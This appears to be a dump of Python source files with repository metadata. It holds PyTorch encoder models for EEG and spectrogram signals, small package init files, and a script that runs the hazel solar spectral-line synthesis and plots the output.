# x = x.view([x_shape[0],-1])
#
x = x.flatten(start_dim=1).unsqueeze(dim=1)
# z = z.flatten(start_dim=1).unsqueeze(dim=1)
# x = torch.cat([x,z],dim=1)
return x
class EEG_Encoder_MTMM_2D(nn.Module):
def __init__(self, dec):
super().__init__()
self.convX1 = nn.Sequential(
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.LayerNorm(896),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.Conv2d( 64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.LayerNorm(444),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.LayerNorm(218),
nn.ReLU(),
nn.AvgPool2d((1,56))
)
# self.convX2 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=1),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# # nn.ReflectionPad2d((2, 2, 0, 0)),
# # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
# # nn.ReLU()
# )
# self.convX3 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=(2,1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
# self.convX4 = nn.Sequential(
# nn.ZeroPad2d((2, 2, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
# nn.ReLU(),
# )
# self.max_pool = nn.MaxPool2d(kernel_size=(1, 2))
#
# self.convX3 = nn.Sequential(
# nn.ReflectionPad2d((1, 1, 2, 2)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(4, 3), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# nn.ReflectionPad2d((1, 1, 1, 1)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(4, 3), stride=(1, 1)),
# nn.ReLU()
# )
# self.convX4 = nn.Sequential(
# nn.ReflectionPad2d((5, 5, 1, 1)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 11), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# nn.ReflectionPad2d((5, 5, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 11), stride=(1, 1)),
# nn.ReLU()
# )
# self.avg = nn.AvgPool2d(kernel_size=(1,225))
# self.mmtm1 = MMTM(64 * dec, 64 * dec, 450)
# self.mmtm2 = MMTM(128 * dec, 128 * dec, 225)
# self.mmtm3 = MMTM(16 * dec, 16 * dec, 56)
# self.pos_emb = PositionalEncoder(d_model=128)
# enc = nn.TransformerEncoderLayer(d_model=128 , nhead=16)
# self.self_attention = nn.TransformerEncoder(encoder_layer=enc, num_layers=6)
# #
def forward(self, x):
x_shape = x.shape
# x = [x[:,i].unsqueeze(dim=1).unsqueeze(dim=1) for i in range(x_shape[1])]
# x = [self.convX1(x[i]) for i in range(x_shape[1])]
# x = [self.convX2(x[i]) for i in range(x_shape[1])]
# x = torch.cat(x,dim=2)
# z = x[:,1].unsqueeze(dim=1).unsqueeze(dim=1)
# x = x[:,0].unsqueeze(dim=1).unsqueeze(dim=1)
# # x = torch.cat([x,z],dim=1)
# # x = x.unsqueeze(dim=1)
x = self.convX1(x)
# x2 = self.convX2(x)
# x = self.convX3(x)
# x = torch.cat([x2,x3],dim=2)
# x = self.convX4(x)
# x = self.max_pool(x)
# z = self.convX1(z)
# z = x[:,:,1,:]
# x = x[:,:,0,:]
# x, z = self.mmtm1(x,z)
# x = torch.cat([x.unsqueeze(dim=2),z.unsqueeze(dim=2)],dim=2)
# x = x.view([x_shape[0], x.shape[1], x_shape[1], -1])
# x = self.convX2(x)
# x = self.max_pool(x)
# z = self.convX2(z)
# z = x[:, :, 1, :]
# x = x[:, :, 0, :]
# x, z = self.mmtm2(x, z)
# x = torch.cat([x.unsqueeze(dim=2), z.unsqueeze(dim=2)], dim=2)
# x = torch.cat([x,z],dim=2)
# x = self.convX3(x)
# x = x.squeeze()
# z = self.convX3(z)
# z = z.squeeze()
# z = x[:, :, 1, :]
# x = x[:, :, 0, :]
# x, z = self.mmtm3(x, z)
# x = torch.cat([x.unsqueeze(dim=2), z.unsqueeze(dim=2)], dim=2)
# print(x.shape)
# print(x.shape)
# x = self.avg(x)
# print(x.shape)
# x = x.permute(0,2,1,3).flatten(start_dim=2)
# x = self.pos_emb(x)
# x = self.self_attention(x)
# print(x.shape)
# z = self.avg(z)
# x = x.view([x_shape[0],-1])
#
# x = x.flatten(start_dim=1)
# z = z.flatten(start_dim=1).unsqueeze(dim=1)
# x = torch.cat([x,z],dim=1)
return x
class MMTM(nn.Module):
def __init__(self, c1, c2, dim):
super().__init__()
cz = int((c1+c2)/4)
self.common_fc = nn.Linear(c1+c2, cz)
self.fc_a = nn.Linear(cz, c1)
self.fc_b = nn.Linear(cz, c2)
# self.W = nn.Parameter(torch.randn(cz, c1+c2))
# self.W_a = nn.Parameter(torch.randn(c1, cz))
# self.W_b = nn.Parameter(torch.randn(c2, cz))
# self.b_a = nn.Parameter(torch.randn(c1))
# self.b_b = nn.Parameter(torch.randn(c2))
# self.b = nn.Parameter(torch.randn(cz))
self.avg_1 = nn.AvgPool1d(dim)
self.avg_2 = nn.AvgPool1d(dim)
self.sigmoid = nn.Sigmoid()
self.dim = dim
def forward(self, x, z):
sx = self.avg_1(x).squeeze()
sz = self.avg_2(z).squeeze()
cat = torch.torch.cat([sx,sz],dim=1)
common_space = self.common_fc(cat)
ea = 2*self.sigmoid(self.fc_a(common_space))
eb = 2*self.sigmoid(self.fc_a(common_space))
dim_diff = len(x.shape) - len(ea.shape)
ea = ea.view(ea.shape + (1,) * dim_diff)
dim_diff = len(z.shape) - len(eb.shape)
eb = eb.view(eb.shape + (1,) * dim_diff)
x, z = x*ea, z*eb
return x, z
class EEG_Encoder_Ch_3(nn.Module):
def __init__(self, dec):
super().__init__()
self.pad_1 = nn.ReflectionPad1d(2)
self.conv1 = nn.Conv1d(1, 16*dec, kernel_size=5, stride=1)
self.conv2 = nn.Conv1d(16*dec, 64*dec, kernel_size=1, stride=1)
self.conv3 = nn.Conv1d(64*dec, 128*dec, kernel_size=3, stride=1)
self.conv4 = nn.Conv1d(128*dec, 64*dec, kernel_size=1, stride=1)
self.conv5 = nn.Conv1d(64*dec, 32*dec, kernel_size=3, stride=1)
self.conv6 = nn.Conv1d(32*dec, 8*dec, kernel_size=1, stride=1)
self.pad_2 = nn.ReflectionPad1d(1)
# self.pad_2 = nn.ZeroPad2d((2,2,0,0))
# self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1)
self.maxpool_time = nn.MaxPool1d(2)
self.avg_pool = nn.AvgPool1d(14)
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm1d(1)
self.conv2_bn = nn.BatchNorm1d(10*dec)
# self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True)
# self.softmax = nn.Softmax(dim=1)
def forward(self,x):
x = self.relu(self.conv1(self.pad_1(x)))
x = self.relu(self.conv2(x))
x = self.maxpool_time(x)
x= self.relu(self.conv3(self.pad_2(x)))
x = self.relu(self.conv4(x))
x = self.maxpool_time(x)
x = self.relu(self.conv5(self.pad_2(x)))
x = self.relu(self.conv6(x))
x = self.avg_pool(x)
# x = self.maxpool_time(x)
return x
class EEG_Encoder_ESeq(nn.Module):
def __init__(self, dec):
super().__init__()
self.pad_1 = nn.ReflectionPad2d((5,5,1,1))
# self.pad_1 = nn.ZeroPad2d((5,5,1,1))
self.conv1 = nn.Conv2d(1, 10*dec, kernel_size=(2, 10), stride=(1, 1))
self.pad_2 = nn.ReflectionPad2d((2,2,0,0))
# self.pad_2 = nn.ZeroPad2d((2,2,0,0))
self.conv2 = nn.Conv2d(10*dec, 20*dec, kernel_size=(1, 5), stride=(1, 1))
self.conv3 = nn.Conv2d(20*dec, 20*dec, kernel_size=(4, 1), stride=(1, 1))
self.maxpool = nn.MaxPool2d(kernel_size=(2, 3))
self.maxpool_time = nn.MaxPool2d(kernel_size=(1, 3))
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm2d(1)
self.conv = nn.Sequential(
nn.BatchNorm2d(1),
nn.ReflectionPad2d((5, 5, 1, 1)),
nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(2, 3)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 3)),
)
self.lstm = LSTM(400, hidden_size = 210, num_layers= 2, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) )
def forward(self,x):
x_shape = x.shape
x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1)
x = self.lstm(x.view([x_shape[0],x_shape[1],x.shape[-1]]))
return x
class EEG_Encoder_ET(nn.Module):
def __init__(self, dec):
super().__init__()
self.conv = nn.Sequential(
nn.BatchNorm2d(1),
nn.ReflectionPad2d((5, 5, 1, 1)),
nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(2, 3)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 6)),
)
# self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) )
self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3)
def forward(self,x):
x_shape = x.shape
x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1)
x = x.view([x_shape[0],x_shape[1],x.shape[-1]])
x = self.seq(x)
return x
# class EEG_Encoder_EL(nn.Module):
# def __init__(self, dec):
# super().__init__()
#
# self.conv = nn.Sequential(
# nn.BatchNorm2d(1),
# nn.ReflectionPad2d((5, 5, 1, 1)),
# nn.Conv2d(1, 10 * dec, kernel_size=(2, 10), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(2, 3)),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(10 * dec, 20 * dec, kernel_size=(1, 5), stride=(1, 1)),
# nn.ReLU(),
# nn.Conv2d(20 * dec, 20 * dec, kernel_size=(4, 1), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 6)),
# )
# self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) )
# # self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3)
#
# def forward(self,x):
# x_shape = x.shape
# x = self.conv(x.flatten(start_dim=0,end_dim=1)).flatten(start_dim=1)
# x = x.view([x_shape[0],x_shape[1],x.shape[-1]])
# x = self.seq(x)
# return x
class EEG_Encoder_ET_2(nn.Module):
def __init__(self, dec):
super().__init__()
self.transformer = Transformer_Encoder(d_model=210,nhead=10,num_layers=3)
self.fc = nn.Linear(720,210)
def forward(self,x):
x_shape = x.shape
x = x.flatten(start_dim=2)
x = self.fc(x)
x = x.view([x_shape[0],x_shape[1],x.shape[-1]])
x = self.transformer(x).flatten(start_dim=1)
return x
class STFT_Encoder_E(nn.Module):
def __init__(self, dec):
super().__init__()
self.conv1 = nn.Conv3d(1, 10*dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1))
self.conv2 = nn.Conv3d(10*dec, 20*dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1))
self.conv3 = nn.Conv3d(20*dec, 20*dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1))
self.maxpool = nn.MaxPool3d(kernel_size=(1, 2, 2))
self.maxpool_timefreq = nn.MaxPool3d(kernel_size=(4, 1, 2))
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm3d(1)
def forward(self,x):
x1 = self.relu(self.conv1(self.conv1_bn(x)))
x2 = self.maxpool(x1)
x3 = self.relu(self.conv2(x2))
x4 = self.relu(self.conv3(x3))
x5 = self.maxpool_timefreq(x4)
return x5
class STFT_Encoder_ET(nn.Module):
def __init__(self, dec):
super().__init__()
self.conv = nn.Sequential(
nn.BatchNorm3d(1),
nn.Conv3d(1, 10 * dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1)),
nn.ReLU(),
nn.MaxPool3d(kernel_size=(2, 2, 2)),
nn.Conv3d(10 * dec, 20 * dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1)),
nn.ReLU(),
nn.Conv3d(20 * dec, 20 * dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1)),
nn.ReLU(),
nn.MaxPool3d(kernel_size=(4, 2, 1))
)
# self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) )
self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3)
def forward(self,x):
x_shape = x.shape
x = self.conv(x.flatten(start_dim=0, end_dim=1)).flatten(start_dim=1)
x = x.view([x_shape[0], x_shape[1], x.shape[-1]])
x = self.seq(x)
return x
class STFT_Encoder_EL(nn.Module):
def __init__(self, dec):
super().__init__()
self.conv = nn.Sequential(
nn.BatchNorm3d(1),
nn.Conv3d(1, 10 * dec, kernel_size=(2, 5, 5), padding=(1, 1, 2), stride=(1, 1, 1)),
nn.ReLU(),
nn.MaxPool3d(kernel_size=(2, 2, 2)),
nn.Conv3d(10 * dec, 20 * dec, kernel_size=(1, 3, 3), padding=(0, 1, 1), stride=(1, 1, 1)),
nn.ReLU(),
nn.Conv3d(20 * dec, 20 * dec, kernel_size=(3, 1, 1), padding=(1, 0, 0), stride=(1, 1, 1)),
nn.ReLU(),
nn.MaxPool3d(kernel_size=(4, 2, 1))
)
self.seq = LSTM(200, hidden_size = 200, num_layers= 3, bidirectional=False, merge_func = lambda x : x.flatten(start_dim=1) )
# self.seq = Transformer_Encoder(d_model=200,nhead=8,num_layers=3)
def forward(self,x):
x_shape = x.shape
x = self.conv(x.flatten(start_dim=0, end_dim=1)).flatten(start_dim=1)
x = x.view([x_shape[0], x_shape[1], x.shape[-1]])
x = self.seq(x)
return x
class Late_Prob_Fusion(nn.Module):
def __init__(self, dec):
super().__init__()
self.conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_1 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_4 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_5 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_6 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
self.conv_7 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5), stride=1),
nn.ReLU(),
nn.AvgPool2d((1, 56))
)
import random
self.rands = random.sample(range(8), 8)
# self.rands = [7,0,1,2,3,4,5,6,7,1]
print("Our random shuffle is:")
print(self.rands)
def _shuffle_channels(self,x):
return x[:,:,self.rands,:]
def forward(self, x):
m = []
m.append(self.conv_0(x[:,:,0,:].unsqueeze(dim=2)))
m.append(self.conv_1(x[:,:,1,:].unsqueeze(dim=2)))
m.append(self.conv_2(x[:,:,2,:].unsqueeze(dim=2)))
m.append(self.conv_3(x[:,:,3,:].unsqueeze(dim=2)))
m.append(self.conv_4(x[:,:,4,:].unsqueeze(dim=2)))
m.append(self.conv_5(x[:,:,5,:].unsqueeze(dim=2)))
m.append(self.conv_6(x[:,:,6,:].unsqueeze(dim=2)))
m.append(self.conv_7(x[:,:,7,:].unsqueeze(dim=2)))
x = torch.cat(m,dim=2).permute(0,2,1,3)
# x = self._shuffle_channels(x)
return x
| 39.130715
| 165
| 0.539831
| 18,679
| 127,527
| 3.542749
| 0.021093
| 0.035361
| 0.036343
| 0.03589
| 0.924926
| 0.898542
| 0.873955
| 0.850941
| 0.835482
| 0.81898
| 0
| 0.062482
| 0.297074
| 127,527
| 3,259
| 166
| 39.130715
| 0.675732
| 0.183977
| 0
| 0.722964
| 0
| 0
| 0.041404
| 0.000745
| 0
| 0
| 0
| 0
| 0
| 1
| 0.067648
| false
| 0
| 0.007363
| 0.002301
| 0.14266
| 0.003682
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4467fbed5f74f478f0a4683bc0b6318e0e4404aa
| 161
|
py
|
Python
|
component/widget/__init__.py
|
sepal-contrib/alert_module
|
fa1b45308bb04da5269177e5a05f37f4cf6add1e
|
[
"MIT"
] | null | null | null |
component/widget/__init__.py
|
sepal-contrib/alert_module
|
fa1b45308bb04da5269177e5a05f37f4cf6add1e
|
[
"MIT"
] | 3
|
2020-09-21T11:42:26.000Z
|
2020-10-07T16:19:20.000Z
|
component/widget/__init__.py
|
12rambau/alert_module
|
fa1b45308bb04da5269177e5a05f37f4cf6add1e
|
[
"MIT"
] | null | null | null |
from .alert_map import *
from .date_line import *
from .dynamic_select import *
from .map_btn import *
from .surface_select import *
from .planet_param import *
| 23
| 29
| 0.776398
| 24
| 161
| 4.958333
| 0.5
| 0.420168
| 0.268908
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149068
| 161
| 6
| 30
| 26.833333
| 0.868613
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
920bc20ba4c0a70a07b2af9d52e18cd64b22f5a4
| 345
|
py
|
Python
|
explanator/__init__.py
|
hatbot-team/hatbot
|
e7fea42b5431cc3e93d9e484c5bb5232d8f2e981
|
[
"MIT"
] | 1
|
2016-05-26T08:18:36.000Z
|
2016-05-26T08:18:36.000Z
|
explanator/__init__.py
|
hatbot-team/hatbot
|
e7fea42b5431cc3e93d9e484c5bb5232d8f2e981
|
[
"MIT"
] | null | null | null |
explanator/__init__.py
|
hatbot-team/hatbot
|
e7fea42b5431cc3e93d9e484c5bb5232d8f2e981
|
[
"MIT"
] | null | null | null |
__author__ = 'moskupols'
__all__ = [
'explain',
'get_explainable_words',
'get_random_word',
'explain_list',
'ALL_SOURCES_NAMES_SET',
'SELECTION_LEVELS',
]
from ._explanator import \
explain, \
get_explainable_words, \
get_random_word, \
explain_list, \
ALL_SOURCES_NAMES_SET, \
SELECTION_LEVELS
| 18.157895
| 28
| 0.669565
| 36
| 345
| 5.666667
| 0.5
| 0.098039
| 0.205882
| 0.254902
| 0.813725
| 0.813725
| 0.813725
| 0.813725
| 0.813725
| 0.813725
| 0
| 0
| 0.226087
| 345
| 18
| 29
| 19.166667
| 0.764045
| 0
| 0
| 0
| 0
| 0
| 0.292754
| 0.121739
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0625
| 0
| 0.0625
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
a6139c42fb15ac240784707c46563aa5de82ac7e
| 3,414
|
py
|
Python
|
runPy/test.py
|
aasensio/hazel
|
899c8461324061bacc14da7165b9ac7eed35c96b
|
[
"MIT"
] | 6
|
2016-01-11T05:03:00.000Z
|
2018-08-31T11:13:24.000Z
|
runPy/test.py
|
aasensio/hazel
|
899c8461324061bacc14da7165b9ac7eed35c96b
|
[
"MIT"
] | 12
|
2017-04-22T16:10:43.000Z
|
2021-01-11T14:03:59.000Z
|
runPy/test.py
|
aasensio/hazel
|
899c8461324061bacc14da7165b9ac7eed35c96b
|
[
"MIT"
] | 4
|
2016-02-25T19:35:07.000Z
|
2018-10-01T17:12:52.000Z
|
import numpy as np
from hazel import hazel
import matplotlib.pyplot as pl
import time
out = hazel()
synModeInput = 5
nSlabsInput = 3
B1Input = np.asarray([10.0,70.0,0.0])
B2Input = np.asarray([10.0,70.0,0.0])
hInput = 3.e0
tau1Input = 1.e0
tau2Input = 1.e0
transInput = 1
atomicPolInput = 1
magoptInput = 1
anglesInput = np.asarray([0.0,0.0,0.0])
nLambdaInput = 228
lambdaAxisInput = np.linspace(-1.5e0,2.5e0,nLambdaInput)
dopplerWidthInput = 6.5e0
dopplerWidth2Input = 6.5e0
dampingInput = 0.e0
dopplerVelocityInput = -5.e0
dopplerVelocity2Input = 5.e0
ffInput = 0.e0
betaInput = 1.0
beta2Input = 1.0
nbarInput = np.asarray([0.0,0.0,0.0,0.0])
omegaInput = np.asarray([0.0,0.0,0.0,0.0])
normalization = 0
boundaryInput = np.zeros((nLambdaInput,4))
boundaryInput[:,0] = 4.098e-5
# Compute the Stokes parameters using many default parameters, using Allen's data
[l, stokes, etaOutput, epsOutput] = out.synth(synModeInput, nSlabsInput, B1Input, B2Input, hInput,
tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput,
nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput,
dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization)
synModeInput = 5
nSlabsInput = -2
B1Input = np.asarray([10.0,70.0,0.0])
B2Input = np.asarray([10.0,70.0,0.0])
hInput = 3.e0
tau1Input = 1.e0
tau2Input = 1.e0
transInput = 1
atomicPolInput = 1
magoptInput = 1
anglesInput = np.asarray([0.0,0.0,0.0])
nLambdaInput = 128
lambdaAxisInput = np.linspace(-1.5e0,2.5e0,nLambdaInput)
dopplerWidthInput = 6.5e0
dopplerWidth2Input = 6.5e0
dampingInput = 0.e0
dopplerVelocityInput = -5.e0
dopplerVelocity2Input = 5.e0
ffInput = 0.e0
betaInput = 1.0
beta2Input = 1.0
nbarInput = np.asarray([0.0,0.0,0.0,0.0])
omegaInput = np.asarray([0.0,0.0,0.0,0.0])
normalization = 0
boundaryInput = np.zeros((nLambdaInput,4))
boundaryInput[:,0] = 4.098e-5
# Compute the Stokes parameters using many default parameters, using Allen's data
[l2, stokes2, etaOutput2, epsOutput2] = out.synth(synModeInput, nSlabsInput, B1Input, B2Input, hInput,
tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput,
nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput,
dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization)
# Now plot the Stokes parameters
labels = ['I/Imax','Q/Imax','U/Imax','V/Imax']
pl.close('all')
f, ax = pl.subplots(ncols=2, nrows=2, figsize=(8,6))
ax = ax.flatten()
for i in range(4):
ax[i].plot(l - 10829.0911, stokes[i,:], 'o')
ax[i].plot(l2 - 10829.0911, stokes2[i,:])
ax[i].set_xlabel('Wavelength [A]')
ax[i].set_ylabel(labels[i])
pl.tight_layout()
pl.show()
l, stokes, RF = out.synth_RF(['v1'], 1e-3, synModeInput, nSlabsInput, B1Input, B2Input, hInput,
tau1Input, tau2Input, boundaryInput, transInput, atomicPolInput, magoptInput, anglesInput,
nLambdaInput, lambdaAxisInput, dopplerWidthInput, dopplerWidth2Input, dampingInput,
dopplerVelocityInput, dopplerVelocity2Input, ffInput, betaInput, beta2Input, nbarInput, omegaInput, normalization)
| 33.80198
| 138
| 0.702109
| 435
| 3,414
| 5.501149
| 0.243678
| 0.038445
| 0.045132
| 0.04346
| 0.814459
| 0.814459
| 0.814459
| 0.814459
| 0.814459
| 0.814459
| 0
| 0.083098
| 0.171646
| 3,414
| 100
| 139
| 34.14
| 0.763083
| 0.055653
| 0
| 0.7125
| 0
| 0
| 0.013665
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.05
| 0
| 0.05
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
